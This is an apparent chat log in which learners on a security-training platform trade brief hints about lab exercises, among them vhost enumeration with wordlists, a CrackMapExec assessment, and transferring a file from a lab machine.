Thank you bro

[tidal mango]

no problem.

[sly dome]

web edition footprinting?

[marble anvil]

yes

[sly dome]

did you mean information gathering?

[marble anvil]

yes sorry you are right

[sly dome]

which section

[marble anvil]

its number 4, trying to find flag 4

i used the subdomains wordlist from seclists

[sly dome]

which section please

[marble anvil]

vhost

[sly dome]

use seclists namelist.txt

[marble anvil]

thank you. i'll give that a try.

[orchid pine]

thank you somuch

[ebon jasper]

In forum itself it showed how to find answer of that question. Pay ettention output of ffuf brute force there is "REDICTED" use that ffuf command

[marble anvil]

@sly dome thank you for the help i was able to finish vhosts

[final maple]

Anyone here who can help me with the third question on Uisng Crackmapexec - Skills Assessment

[vital adder]

sure shoot me a dm if you still need but spoiler alert this assessment is going to be a long one

[sharp sentinel]

i am going crazy with windows fundamentals module every single thing is new to me i can't seem to get garsp of anything can anyone help in learning it if you have resources for like 0 knowledge of windows from security perspective much appreciated

[final maple]

Anyone have any success getting a file off of the pwnbox onto your local VM? I am trying python3 -m http.server but I can't get a connection

[fiery berry]

depends on what format the file is, otherwise copy/paste

[final maple]

its a .zip file